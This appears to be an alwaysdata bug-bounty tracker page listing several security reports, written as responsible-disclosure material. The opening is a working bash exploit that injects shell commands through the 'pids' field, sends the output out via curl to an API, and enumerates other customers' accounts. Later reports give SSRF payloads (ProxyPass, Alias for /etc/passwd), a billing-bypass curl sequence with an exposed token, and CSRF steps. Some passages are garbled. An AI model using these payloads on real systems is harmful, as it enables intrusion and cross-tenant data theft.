| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
CODE=$(curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$BASE/login/" \
-H "Referer: $BASE/login/" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "login=$EMAIL" \
--data-urlencode "password=$PASS" \
-w "%{http_code}" -o /dev/null)
echo "Login: HTTP $CODE"
}
# Fast single-step inject: runs command AND sends result to API in one injection
fast() {
ROLE="${2:-http}"
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=$ROLE" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=$ROLE" \
-H "Referer: $BASE/advanced/processes/analyze/?role=$ROLE" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(curl\${IFS}-su\${IFS}\"$TOKEN:\"\${IFS}-XPATCH\${IFS}-d\${IFS}\"{\\\"annotation\\\":\\\"\$($1)\\\"}\"\${IFS}https://api.alwaysdata.com/v1/ssh/$SSH_ID/)" \
--data-urlencode "duration=5" \
-w "Injected: HTTP %{http_code}\n" -o /dev/null
sleep 18
curl -s -u "$TOKEN:" "https://api.alwaysdata.com/v1/ssh/$SSH_ID/" \
| python3 -c "import sys,json; print('RESULT:', json.load(sys.stdin)['annotation'])"
}
echo "Ready."
**Step 1 — Login**
Logs in using your credentials and stores the session cookie locally.
login
Expected: Login: HTTP 302
**Step 2 — Prove RCE: id command runs on server**
Injects id directly into the PIDs field. The shell=True subprocess executes it. Result is sent via curl to your own API annotation field — proves outbound execution too.
fast "id"
Expected: RESULT: uid=XXXXX(youraccount) gid=XXXXX(youraccount) groups=XXXXX(youraccount)
**Step 3 — Prove Bare Metal: kernel version**
Shows the server kernel — no container virtualization layer present.
fast "uname\${IFS}-r"
Expected: RESULT: 6.18.52-alwaysdata
**Step 4 — Prove Cross-Tenant: real customer account entries**
Queries LDAP for all accounts on this server. Returns real customer usernames, UIDs, and home directory paths — not just your own account.
login
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=http" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=http" \
-H "Referer: $BASE/advanced/processes/analyze/?role=http" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(getent\${IFS}passwd|tail\${IFS}-5|tr\${IFS}$'\\n'\${IFS}'|'>/home/bughuntdemo2/accts.txt)" \
--data-urlencode "duration=5" -o /dev/null
echo "Waiting 65s..."
sleep 65
fast "cat\${IFS}/home/bughuntdemo2/accts.txt"
**Step 5 — Prove Cross-Tenant: list another customer's home directory via NFS**
From the account list above, pick any customer username. Their home directory is mounted via NFS and readable from any server. This proves cross-tenant file access.
First get a real customer account name from step 4 output, then:
# Replace CUSTOMER_ACCOUNT_NAME with any account name from Step 4 output
fast "ls\${IFS}/home/CUSTOMER_ACCOUNT_NAME/"
**Step 6 — Prove Scale: total account count**
Total customers exposed on this one server.
login
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=http" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=http" \
-H "Referer: $BASE/advanced/processes/analyze/?role=http" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(getent\${IFS}passwd|wc\${IFS}-l>/home/$ACCOUNT/ac.txt)" \
--data-urlencode "duration=5" -o /dev/null
echo "Waiting 65s..."
sleep 65
fast "cat\${IFS}/home/$ACCOUNT/ac.txt"
Expected: RESULT: 10480 (or similar large number)
**Step 7 — Prove Root Escalation Path
**
The alcontainer daemon runs as root and exposes XML-RPC on localhost:8570. HTTP 200 confirms the service is reachable from customer user space — it should be internal-only.
login
fast "curl\${IFS}-s\${IFS}-o\${IFS}/dev/null\${IFS}-w\${IFS}\"%{http_code}\"\${IFS}http://localhost:8570/"
Expected: RESULT: 200
**Step 8**
login
# Fire all 4 injections at once — no waiting between
for ROLE in http jobs services ssh; do
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=$ROLE" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=$ROLE" \
-H "Referer: $BASE/advanced/processes/analyze/?role=$ROLE" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(hostname\${IFS}-I>/home/bughuntdemo2/ip_$ROLE.txt)" \
--data-urlencode "duration=5" -o /dev/null
echo "Fired: $ROLE"
done
# Single wait for all 4
echo "Waiting 20s..."
sleep 20
# Read all 4 results
login
for ROLE in http jobs services ssh; do
echo -n "?role=$ROLE → IP: "
fast "cat\${IFS}/home/bughuntdemo2/ip_$ROLE.txt"
done
**Step 9 — Cleanup**
▎ Removes all files created during testing. Zero customer data was read or modified.
login
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=http" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=http" \
-H "Referer: $BASE/advanced/processes/analyze/?role=http" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(rm\${IFS}-f\${IFS}/home/$ACCOUNT/accts.txt\${IFS}/home/$ACCOUNT/ac.txt)" \
--data-urlencode "duration=5" -o /dev/null
echo "Cleanup done."
|
|
509 | TOTP Authenticator Accept Expired Code on Alwaysdata | Closed | 28.09.2026 |
Task Description
Summary: Hi Security Team, During testing www.alwaysdata.com, I discovered that the TOTP authenticator implementation accepts expired codes, allowing attackers to bypass authentication. This is a security vulnerability that reduces the effectiveness of the TOTP authentication mechanism.
Description: TOTP (Time-Based One-Time Password) is a widely used authentication mechanism that generates a new password every 30 seconds. The password is valid for a short period, typically 30 seconds, before a new password is generated. This mechanism is designed to prevent attackers from using previously generated passwords. During testing, I discovered that the TOTP authenticator implementation accepts expired codes, allowing attackers to bypass authentication. Specifically, I found that the authenticator accepts codes that are more than 45 Seconds old, which is considered a large window of acceptance. This vulnerability reduces the security benefits of TOTP, allowing attackers to reuse expired codes. This can lead to unauthorized access to the system, which can result in data breaches, financial losses, and reputational damage. Steps To Reproduce
Enable TOTP authentication for the account at AlwaysData with google authenticator. Log in to the tfa enabled account with correct password. When it comes to tfa state, save the current totp code from authenticator app. Wait for the code to expire. Submit the expired code to the authentication endpoint. Observe that the authentication is successful despite using an expired code. Suggest Fix
Reduce the window of acceptance to a more secure value (e.g., 30 seconds). Implement a more robust TOTP algorithm that rejects expired codes. Impact
The attacker can bypass the two factor authentication by using expired otp code.
If you need other information let me know.
Waiting for your positive reply.
Thanks Ahmed
|
|
508 | Shared world-readable /tmp across tenants on the shared ... | Closed | 26.09.2026 |
Task Description
Summary
alwaysdata's shared SSH gateway (ssh2, which serves every ssh-[account].alwaysdata.net alias) and shared web server (http22, which runs every customer's PHP site) each expose a single world-readable /tmp directory to all tenants, with no per-account namespace. /tmp is drwxrwxrwt (1777, sticky): the sticky bit prevents a tenant from deleting another tenant's files, but it does not prevent reading them. Any file a customer writes to /tmp with the default 0644 permissions is readable by every other customer on that host.
Confirmed with two self-owned, unrelated alwaysdata accounts (two separate customer identities, different UIDs, different account names): a canary written by account A is readable by account B, a different customer.
Affected hosts (both in scope)
- ssh-bbtestacctalfa.alwaysdata.net / ssh-bbtestacctbravo.alwaysdata.net — both resolve to the same shared ssh2 box; /tmp is shared across all customers on it. (ssh://ssh-[account].alwaysdata.net is explicitly listed in scope.) - The web server http22 (reached via any customer's *.alwaysdata.net site) has a separate but equally shared /tmp.
Reproduction — SSH (primary, on the explicitly-listed ssh-[account] host)
Two self-owned accounts: - Account A: bbtestacctalfa (UID 550359), SSH host ssh-bbtestacctalfa.alwaysdata.net - Account B: bbtestacctbravo (UID 550366, a separate customer), SSH host ssh-bbtestacctbravo.alwaysdata.net
Step 1 — A writes a marker to /tmp on its own SSH host:
$ ssh bbtestacctalfa@ssh-bbtestacctalfa.alwaysdata.net \
"echo -n 'adpoc-tenantA-276c154e73ef' > /tmp/adpoc_a_marker.txt; chmod 644 /tmp/adpoc_a_marker.txt; ls -l /tmp/adpoc_a_marker.txt; id; hostname"
(bbtestacctalfa@ssh-bbtestacctalfa.alwaysdata.net) Password: -rw-r–r– 1 bbtestacctalfa bbtestacctalfa 26 Sep 26 15:14 /tmp/adpoc_a_marker.txt uid=550359(bbtestacctalfa) gid=504127(bbtestacctalfa) groups=504127(bbtestacctalfa) ssh2
Step 2 — B (different customer, different SSH host) reads A's marker from /tmp:
$ ssh bbtestacctbravo@ssh-bbtestacctbravo.alwaysdata.net \
"cat /tmp/adpoc_a_marker.txt; id; hostname; ls -l /tmp/adpoc_a_marker.txt"
(bbtestacctbravo@ssh-bbtestacctbravo.alwaysdata.net) Password: adpoc-tenantA-276c154e73ef uid=550366(bbtestacctbravo) gid=504133(bbtestacctbravo) groups=504133(bbtestacctbravo) ssh2 -rw-r–r– 1 bbtestacctalfa bbtestacctalfa 26 Sep 26 15:14 /tmp/adpoc_a_marker.txt
B (UID 550366) successfully read a file owned by bbtestacctalfa (UID 550359) from /tmp. Both ssh-[account] hosts resolve to the same ssh2 box; /tmp is not namespaced per customer.
Step 3 — negative control (B cannot tamper with A's file):
$ ssh bbtestacctbravo@ssh-bbtestacctbravo.alwaysdata.net \
"rm /tmp/adpoc_a_marker.txt 2>&1; echo 'TAMPER' > /tmp/adpoc_a_marker.txt 2>&1; cat /tmp/adpoc_a_marker.txt"
rm: cannot remove '/tmp/adpoc_a_marker.txt': Operation not permitted bash: /tmp/adpoc_a_marker.txt: Permission denied adpoc-tenantA-276c154e73ef
The sticky bit confines this to a read-only cross-tenant disclosure (no delete, no overwrite).
Reproduction — web server (secondary)
The same issue exists on the shared web server http22. Two PHP files were placed on the two accounts' sites (via SSH): https://bbtestacctalfa.alwaysdata.net/poc_writer.php (account A) writes a marker to /tmp on http22; https://bbtestacctbravo.alwaysdata.net/poc_reader.php (account B, separate customer) reads /tmp on http22 and prints the result.
Request 1 (as A, writes the marker): GET /poc_writer.php HTTP/1.1 Host: bbtestacctalfa.alwaysdata.net Response: marker='adpoc-tenantA-web-276c154e73ef' written by bbtestacctalfa uid=550359 on http22
Request 2 (as B, separate customer, reads A's marker from /tmp): GET /poc_reader.php HTTP/1.1 Host: bbtestacctbravo.alwaysdata.net Response: reader=bbtestacctbravo uid=550366 host=http22 read_from_tmp=FOUND: adpoc-tenantA-web-276c154e73ef
A file written to /tmp by account A's PHP (UID 550359) is read back by account B's PHP (UID 550366, different customer) on the same shared web server.
Exposure extent
ls -la /tmp on ssh2 shows approximately 308 customer-owned files, of which roughly 187 are world-readable (0644), owned by many distinct alwaysdata customer accounts (for example slientstress, bkrmshtaq, edusync, axora-core, ksiiprn, madprojet, kodmai, proxy-iptv, passionbooking360, takervps, cacar, callmoon142). Observed file types include Python scripts (.py, up to 199 KB), SQL schema dumps (.sql), text files, and images.
I did not read the contents of any file owned by another customer (only listed filenames and owners as evidence of exposure), in line with the program's "use test accounts only / do not touch other customers' data" rule. The canary used for confirmation was written and read between my own two accounts.
Impact
- A customer can read any other customer's world-readable files in /tmp on the shared SSH gateway and web server — application source, scratch files, SQL dumps, and any secret a customer application writes directly to /tmp. - Read-only (the sticky bit prevents deletion/overwrite of others' files). - Bounded by a mitigation that should be noted: alwaysdata sets TMPDIR to a per-account directory (/home/<account>/admin/tmp) for SSH sessions, and PHP session.save_path, upload_tmp_dir, and sys_temp_dir are likewise per-account. So PHP session files and upload-temp files are not exposed (verified: a PHP session on one site wrote to /home/<account>/admin/tmp, not /tmp; glob('/tmp/sess_*') returned nothing). Customers who rely on $TMPDIR or default PHP temp handling are not affected. The exposure is limited to files written directly to /tmp (a hardcoded /tmp path, or a tool that ignores $TMPDIR) at default 0644. - No alwaysdata-platform-owned secret was found in /tmp: all root/system-owned files in /tmp are 0700/0640 (not world-readable). The readable files are exclusively customer-account-owned.
Root cause / fix
The shared multi-tenant SSH gateway and web server expose a single /tmp to all tenants with no per-account namespace. Recommended fixes (platform-side): - Per-account /tmp namespace on shared hosts (e.g. PrivateTmp=yes for systemd-managed customer processes, or a mount-namespaced per-tenant /tmp), or - A per-account open_basedir that excludes the shared /tmp and redirects temp writes to the already-per-account admin/tmp, or - The per-account TMPDIR/PHP-temp isolation already in place shows the intent to isolate temp files per customer; extending that default so that direct /tmp writes are also namespaced (or making the shared /tmp 0770 + per-account group) would close the read channel.
Scope note
The exposure is customer application data. The scope excludes "sites/third-party apps hosted by customers unless the flaw exposes customer data and stems from alwaysdata's own platform." The shared, un-namespaced /tmp is alwaysdata's platform configuration on a shared multi-tenant host, and it does expose customer data — so the exception applies. It is reachable via the explicitly-listed ssh://ssh-[account].alwaysdata.net host, which makes it unambiguous that this is a platform-level isolation gap rather than a per-customer app issue.
|
|
507 | Server-Side Request Forgery (SSRF) via `reverse_proxy` ... | Closed | 26.09.2026 |
Task Description
Severity: High CVSS 3.1: 7.5 Affected Component: `reverse_proxy` site type (`url` / “URL distante”)
## Summary
The `reverse_proxy` site type allows the configured `url` to be fetched server-side without restricting access to private, loopback, or link-local addresses.
I confirmed that the server can make external requests and access `127.0.0.1`. I did not enumerate internal services in accordance with the program rules.
## Steps to Reproduce
1. Set the site type to `reverse_proxy` and configure:
{"type":"reverse_proxy","url":"http://example.com/"}
The site returns the content from Example Domain, confirming server-side fetching.
2. Change the URL to:
{"url":"http://127.0.0.1/"}
The response changes to:
404 Site not found
Request ID: ...
Server: Apache
This confirms that the request reached the platform's loopback interface.
3. I also tested:
{"url":"http://169.254.169.254/latest/meta-data/"}
which returned `503`. No cloud metadata was obtained.
## Impact
An attacker can control a server-side request destination and reach the platform's loopback interface.
This creates an SSRF primitive that could potentially be used to access internal services or other restricted resources, depending on the services reachable from the server. Internal service enumeration was not performed.
## Recommendation
* Block private, loopback, and link-local IP ranges. * Validate the resolved IP address, not only the supplied hostname. * Protect against DNS rebinding. * Apply outbound/egress network filtering for server-side requests.
|
|
506 | Webmail session remains authenticated after logout (ses ... | Closed | 29.09.2026 |
Task Description
Severity suggestion: Medium
Affected service: https://webmail.alwaysdata.com (exact in-scope hostname)
Description
After a user logs out of the webmail (?_task=logout, the link the UI itself offers: ./?_task=logout), the platform session cookie remains fully authenticated. A subsequent request to /roundcube/?_task=mail returns the user's live inbox without any re-authentication, and a request to the webmail root (/) immediately redirects back to /roundcube/?_task=mail — the proxy layer re-establishes the Roundcube session from its stored state. Logging out therefore does not end the session.
Steps to reproduce (standard Linux tools only, per program guidelines)
1. GET https://webmail.alwaysdata.com/ — obtain CSRF cookie and csrfmiddlewaretoken. 2. POST https://webmail.alwaysdata.com/ with csrfmiddlewaretoken, login=<mailbox>, password=<password> → 302 to /roundcube/?_task=mail; a platform session cookie is set. 3. GET /roundcube/?_task=mail&_mbox=INBOX → 200, <title>webmail :: Inbox</title> (pre-logout confirmation). 4. GET /roundcube/?_task=logout → 200 logout page (request is processed). 5. GET /roundcube/?_task=mail&_mbox=INBOX with Cache-Control: no-cache → 200, <title>webmail :: Inbox</title>, fully authenticated mailbox view. 6. GET https://webmail.alwaysdata.com/ → 302 back to /roundcube/?_task=mail — session re-established automatically.
Steps 5–6 reproduced on a fresh session, twice (initial observation plus a controlled retest), with cache-busting headers — this is not a cached-page artifact.
Impact
- A user who logs out on a shared or compromised machine believes their mail session has ended. Any party who captured the session cookie retains full mailbox access indefinitely — the standard mitigation ("log out") does not invalidate the credential. - The mailbox receives alwaysdata's own password-reset and account emails, so persistent mailbox access also means persistent reachability into the account-recovery flow of the platform.
Test account note
Testing was performed with a dedicated test account that I own and control; I can re-verify against a patched build on request. (Please keep this report free of the test credentials — happy to share them privately if useful for triage.)
|
|
505 | Paid hosting plan (up to X-Large, €165/mo) provisioned ... | Closed | 26.09.2026 |
Task Description
Hello alwaysdata security team,
I'd like to report a billing/business-logic bypass in the customer administration panel (admin.alwaysdata.com) that allows a regular Free-tier customer to provision paid hosting plans — up to and including the X-Large plan (€165/month) — with full paid-tier resources activated, while having a €0.00 prepaid balance, no payment method on file, and no invoice generated. The paid resources (verified: 500GB disk, 8GB RAM, 8 CPU for X-Large) are usable immediately.
I tested this only against my own self-owned test accounts (free-tier, self-signed-up). No other customer's data was accessed and no real payment was attempted.
Summary
Your published billing model is prepaid: "Every invoice issued debits your prepaid alwaysdata account for the amount owed. You need to credit this prepaid account to cover your debits." (help.alwaysdata.com/en/docs/admin-billing/billing/payment-methods/), with an optional direct-debit alternative.
In the "create a new hosting account" flow (admin.alwaysdata.com/admin/account/add/), choosing a paid plan (product = Small/Medium/Large/X-Large) and submitting the form returns HTTP 302 → /subscription/ and provisions the account ACTIVE immediately. There is no payment page, no card/payment-method prompt, and no invoice at order time — even when the prepaid balance is €0.00 and no payment method is registered. The full paid-tier resource quota is actually allocated and usable.
This means a regular login can repeat the request to create unlimited paid-tier hosting accounts (up to X-Large) for free.
Affected endpoint
POST https://admin.alwaysdata.com/admin/account/add/ Authenticated (regular Free-tier customer session cookie + CSRF token).
Steps to reproduce
Prerequisite: a self-signed-up Free-tier account (no payment method on file, €0 balance). All actions performed from my own test login (hardikdevaliya7+adtest.a@gmail.com, account name "bbtestacctalfa").
Step 1 — confirm starting state (€0, no card): curl -s -b jar.txt "https://admin.alwaysdata.com/billing/" | grep -oiE '€[0-9.]+|No transaction' # → €0.00 , No transaction
Step 2 — get a fresh CSRF token: curl -s -b jar.txt -c jar.txt "https://admin.alwaysdata.com/admin/account/add/" -o add.html CSRF=$(grep -oE 'name="csrfmiddlewaretoken" value="[^"]*"' add.html | head -1 | grep -oE 'value="[^"]*"' | sed 's/value=";s/"')
Step 3 — the vulnerable request: create a PAID X-Large account with no payment: curl -i -b jar.txt -c jar.txt \
d "csrfmiddlewaretoken=$CSRF" \
-data-urlencode "name=bbtestxla" \
-data-urlencode "password=XlTest#2026Qzx" \
d "product=2011" -d "period=1mo" -d "location=datacenter_3" \
d "contract_28=on" -d "contract_36=on" -d "submit=Submit" \
-
"https://admin.alwaysdata.com/admin/account/add/" Observed result: HTTP/2 302, location: /subscription/ — no payment page, no card prompt,ctivated.
Step 4 — verify the paid resources are actually granted (not just a label), via the publ TOKEN=7463e74f484f4e2698fb8db108908de7 # API auth: HTTP Basic, key as username, empty password, account scope in username curl -s –user "$TOKEN account=bbtestacctalfa:" "https://api.alwaysdata.com/v1/subscription/" # returns the new subscription: # id=522516, product=/v1/product/2011/ (X-Large), price=165.00, period=1mo, # object=/v1/account/502176/, date_expiry=2026-10-25, active
curl -s –user "$TOKEN account=bbtestacctalfa:" "https://api.alwaysdata.com/v1/account/5 # → {"id":502176,"name":"bbtestxla","product":{"href":"/v1/product/2011/"},…}
Switching the active account to bbtestxla and opening /account/usage/ shows the real quota allocated: - Disk: 500GB, Processor (CPU): 8 CPU, Memory (RAM): 8GB — all 100% available. The panel is fully functional on the new account (/database/, /ftp/, /ssh/, /site/ all return 200).
The same was reproduced for the Small plan (product=2008, €6/month): subscription 522507, account 502167, quota verified 50GB / 1GB / 1 CPU.
Step 5 — confirm no payment / no invoice exists after provisioning the paid accounts: curl -s -b jar.txt "https://admin.alwaysdata.com/billing/" | grep -oiE '€[0-9.]+|No tran # → €0.00 , No transaction (still zero, no invoice, no payment method)
Product codes (from the add-account form)
┌──────┬─────────┬────────────────────────┬──────────────┐ │ code │ plan │ resources │ price │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2012 │ Free │ 1GB / 256MB / 0.25 CPU │ €0 │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2008 │ Small │ 50GB / 1GB / 1 CPU │ €6 / month │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2009 │ Medium │ 100GB / 2GB / 2 CPU │ — │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2010 │ Large │ 200GB / 4GB / 4 CPU │ — │ ├──────┼─────────┼────────────────────────┼──────────────┤ │ 2011 │ X-Large │ 500GB / 8GB / 8 CPU │ €165 / month │ └──────┴─────────┴────────────────────────┴──────────────┘
Impact
- A regular Free-tier login can create unlimited paid-tier hosting accounts (up to X-Large: 500GB / 8GB RAM / 8 CPU each) activated with no payment and no payment method on file. - Free paid-tier compute/storage at scale, bypassing your prepaid billing model entirelyimmediately usable (databases, sites, SSH, FTP, etc.).
What I tested and ruled out
- This is not an IDOR / missing-ownership-check: cross-account access on both the admin waysdata.com) is properly scoped (foreign objects return 404, the API's customer=parameter returns "Invalid user" without granted permission). I swept 8+ resource families on both surfaces. - The exploitation requires the attacker to be a logged-in customer (free self-signup).
Open caveat (stated honestly)
I could not wait until the 1-month renewal (2026-10-25) to see whether alwaysdata generaal and suspends the account if unpaid. The PoC stands regardless — paid resources aredelivered ACTIVE at order time with €0 balance, no card, and no invoice. If the intended design is post-paid (invoice at renewal), that appears to contradict your own published prepaid billing model; either way, delivering paid-tier resources with no upfront payment and no payment method is the
Live PoC accounts (kept active for verification)
All under login hardikdevaliya7+adtest.a@gmail.com, billing €0, no payment method: - bbtestsmalla — account id 502167, Small €6/mo, subscription 522507, expiry 2026-10-25 - bbtestxla — account id 502176, X-Large €165/mo, subscription 522516, expiry 2026-10-25
Please feel free to inspect or suspend these. Let me know if you'd like me to delete theence.
Evidence
I can provide on request: - Full curl command list for every step. - Screenshots of: the subscription page (Free + Small + X-Large all active), the billing), the X-Large /account/usage/ (500GB/8GB/8CPU), and the add-account form showing the paid plans selectable. - Burp Repeater request/response pairs.
Please let me know if you can reproduce, and your assessment of severity. I have not dis will wait for your reply / a patch before any publication, per your policy.
Thank you, hardikdevaliya7@gmail.com
|
|
504 | Customer-controlled `vhost_additional_directives` enabl ... | Closed | 28.09.2026 |
Task Description
Customer-controlled `vhost_additional_directives` enables SSRF from the shared Apache frontend to host-local services (and host file exposure via `Alias`)
Severity suggested: Medium (program tier: "Exposure of internal tools" / SSRF, CVSS 4.0-6.9; no customer data was accessed)
Affected endpoint:
PATCH /v1/site/<id>/
(API v1, token auth) and the Site configuration form in the panel
Summary
A normal hosting account can modify
vhost_additional_directives
, which is appended verbatim to the shared Apache frontend's vhost configuration. This permits customer-controlled
ProxyPass
directives, allowing a public customer domain to act as an SSRF proxy into
127.0.0.1
services on the frontend host. I verified access to multiple host-local HTTP services, including Monit on port 2812 and an internal JSON API on port 8300. The customer shell runs on a separate host (
jobs4
) where these loopback services are not reachable, demonstrating that the issue crosses the platform's tenant/network isolation boundary. The same configuration primitive also allows
Alias
-based exposure of files readable by the web-tier process, including
/etc/passwd
.
Per the program's SSRF guidance I stopped as soon as the issue was established and am reporting it without further internal testing.
Background - why this is a security issue even though the feature is documented
The field is documented (API: "Directives qui seront ajoutées à la fin de la configuration Apache pour ce virtual host") and exposed in the panel UI, so customers are intentionally allowed to add directives. The vulnerability is not that the feature exists, but that security-sensitive Apache capabilities are exposed across a tenant isolation boundary: the customer is not merely configuring their own application, they are influencing the network and filesystem reachability of the shared web frontend process. Directives like
Header set
are reasonable for customers;
ProxyPass
,
Alias
,
Include
change the security boundary of the host itself.
Primary issue: SSRF from the shared web frontend into host-local services
*A. The field is executed, not stored:*
{"vhost_additional_directives":"Header set X-Recon-Directive 1"}
→
204
→ subsequent response to my own site contains
x-recon-directive: 1
.
*B. The frontend itself is the proxy backend:*
{"vhost_additional_directives":"ProxyPass /reconint http://127.0.0.1:80/"}
→
204
→
GET /reconint/nonexist123
(with Host of my own site) →
404
with the frontend's own response body (
Site not found + Request ID: ...
). The request was processed by the shared Apache instance and forwarded to another listener on its own
127.0.0.1
, with the response relayed back through my public domain.
*C. The proxy reaches host-local services:*
One
ProxyPass
per port,
GET /
only, against a deliberately limited set of ports taken from the platform's own service inventory (no port scan):
:2812 -> 401 Monit web UI ("You are not authorized to access monit...")
:8083 -> 401 Unauthorized
:8593 -> 401 Unauthorized
:8570 -> 200 HTTP service answering
:8598 -> 401 Python http.server-style error page
:8300 -> 404 {"code":"not_found"} (internal JSON API)
:5001-5005, :8443, :8568, :10086 -> 503 (no service / non-HTTP)
:8590, :5199, :4949 -> 502
All of these are bound to
127.0.0.1
on the frontend host and respond to requests made through my public site. I did not attempt to authenticate to any of them (no credentials tried, no brute force); Monit currently requires authentication (401) and I stopped there. The security point demonstrated is reachability: customer-controlled configuration creates a request path from my public domain to host-local management and API services.
*D. The isolation boundary - this is not "the customer already has SSH":*
- A scheduled job on the account shell reports
hostname = jobs4
(<code>uid=550157</code>). From there, <code>curl http://127.0.0.1/</code> //fails//
outright - there is no port-80 listener at all on <code>jobs4</code>.
- The site is served by
http22
: the same
Alias
primitive reading
<code>/etc/hostname</code> returns <code>http22</code>.
- There is no shell on
http22
for this account. The frontend's loopback
services are therefore unreachable from the account's legitimate environment by any
other means.
```text Attacker (ordinary tenant)
| PATCH /v1/site/<id>/ -> vhost_additional_directives
v
Shared Apache on http22
| ProxyPass
v
127.0.0.1:<port> on http22 → Monit / internal HTTP + JSON APIs
|
v response relayed
public customer domain
Account shell: jobs4 → 127.0.0.1 (no relevant services reachable) ```
Without the configuration injection, this request path does not exist.
Secondary issue: host-local file exposure via `Alias`
{"vhost_additional_directives":"Alias /reconlfi \"/etc\""}
→
204
→
GET /reconlfi/passwd
→
200
with the content of
/etc/passwd
;
/reconlfi/hosts
→
200
(
/etc/hosts
);
/reconlfi/hostname
→
200
(
http22
). Directory listing stays
403
.
This is limited to files readable by the web-tier process - Apache does not bypass filesystem permissions - and independently proves the injected directives execute in the security context of the shared frontend, not as inert customer metadata.
Impact
- Tenant → frontend network position: any customer site can be turned into an SSRF proxy
to the frontend host's loopback services, including its management interface (Monit) and
internal HTTP/JSON APIs, with responses read through the customer's public domain.
- Host-level information disclosure of files readable by the frontend process
(<code>/etc/passwd</code>, <code>/etc/hosts</code>, <code>/etc/hostname</code>
demonstrated).
- No authentication was attempted against exposed services; no customer data was accessed,
modified, or destroyed.
Remediation
Keep the feature, restrict the directive set: allowlist benign customer directives (headers, rewrite, limits…) and deny, for customer vhosts at least,
Alias
,
Redirect
,
ProxyPass
,
ProxyPassReverse
,
RewriteRule ... [P]
and
Include
- or run customer vhosts without those modules and validate the generated configuration (
apachectl -t
) before reload.
Testing methodology and cleanup
- Only my own account/site; the panel's documented feature and API only. -
GET /
(read-only) probes; no authentication attempts, no brute force, no
port scan (ports pre-listed from the platform's own inventory), no writes to internal
services, no DoS or load testing, requests kept serial and slow per program rules.
- All changes reverted and verified: probe paths return
404
, injected header
absent, site <code>200</code>; temporary job and files deleted.
|
|
503 | Email-validation link consumed by unsafe HTTP methods ... | Closed | 28.09.2026 |
Task Description
Severity: Medium
Unauthenticated, single-request, 100% reproducible, maps directly to your own listed "Broken authentication" and "CSRF with security impact" categories. Bounded because it does not grant account takeover — I tried that escalation myself and it's cleanly ruled out (see below). Not theoretical either — 6 live examples of this exact failure already turned up in public web archives before this report was written.
Summary (plain words)
Your "Welcome to alwaysdata!" confirmation link is supposed to only activate when the real user clicks it. In practice it activates on any request that touches it — including a bare HEAD (a "does this URL exist" check, not a click) and including a request from a totally unrelated web page via a plain <img src="…"> tag, no login or cookies needed. So the single-use token gets silently burned by anything that merely touches the link — most commonly corporate email security gateways, antivirus scanners, and chat link-preview bots, which pre-fetch every link in every email automatically. The real user then clicks their own legitimate link and sees "An error occurred while verifying your registration," even though the account is already validated behind the scenes.
What this is NOT (tested and ruled out)
I tried escalating to full account takeover — took my own valid password-reset link and swapped in a different account's ID while keeping my own token. Server rejected it cleanly ("Le lien utilisé est invalide"). Tokens are properly bound to their account. This is a broken-auth/forceable-state-change bug, not a credential/session compromise.
Steps to reproduce
Part 1 — HEAD silently completes validation 1. Register a new account. You get a "Welcome" email with …/user/validate/?user_id=<ID>&token=<TOKEN>&expiration=<EXP>. 2. Don't click it — send only a HEAD request to that URL. 3. Now open the same link for real in a browser → "An error occurred while verifying your registration." 4. Log in with that account's credentials anyway → succeeds, proving the HEAD already completed validation.
Part 2 — forceable from any unrelated page 1. Same as above with a second account. 2. Build any page containing only <img src="https://admin.alwaysdata.com/user/validate/?user_id=<ID>&token=<TOKEN>&expiration=<EXP>">. 3. Open it — zero relationship to alwaysdata, zero cookies needed. 4. Real link now errors on click, but login still succeeds — the <img> alone did it.
curl commands (re-runnable — grab a fresh account each time, tokens are single-use)
# 1. Register at https://www.alwaysdata.com/en/register/, get user_id/token/expiration from the email.
# 2. HEAD only — before ever opening the link in a browser: curl -I "https://admin.alwaysdata.com/user/validate/?user_id=<ID>&token=<TOKEN>&expiration=<EXP>"
# 3. Real GET — expect the error, not success: curl -s "https://admin.alwaysdata.com/user/validate/?user_id=<ID>&token=<TOKEN>&expiration=<EXP>" | grep -i "erreur\|error"
# 4. Confirm it validated anyway via login: curl -s -c jar.txt -b jar.txt "https://admin.alwaysdata.com/login/" -o login_page.html CSRF=$(grep -oE 'name="csrfmiddlewaretoken" value="[^"]*"' login_page.html | grep -oE '"[A-Za-z0-9]{20,}"' | tr -d '"') curl -s -c jar.txt -b jar.txt -X POST "https://admin.alwaysdata.com/login/" \
-
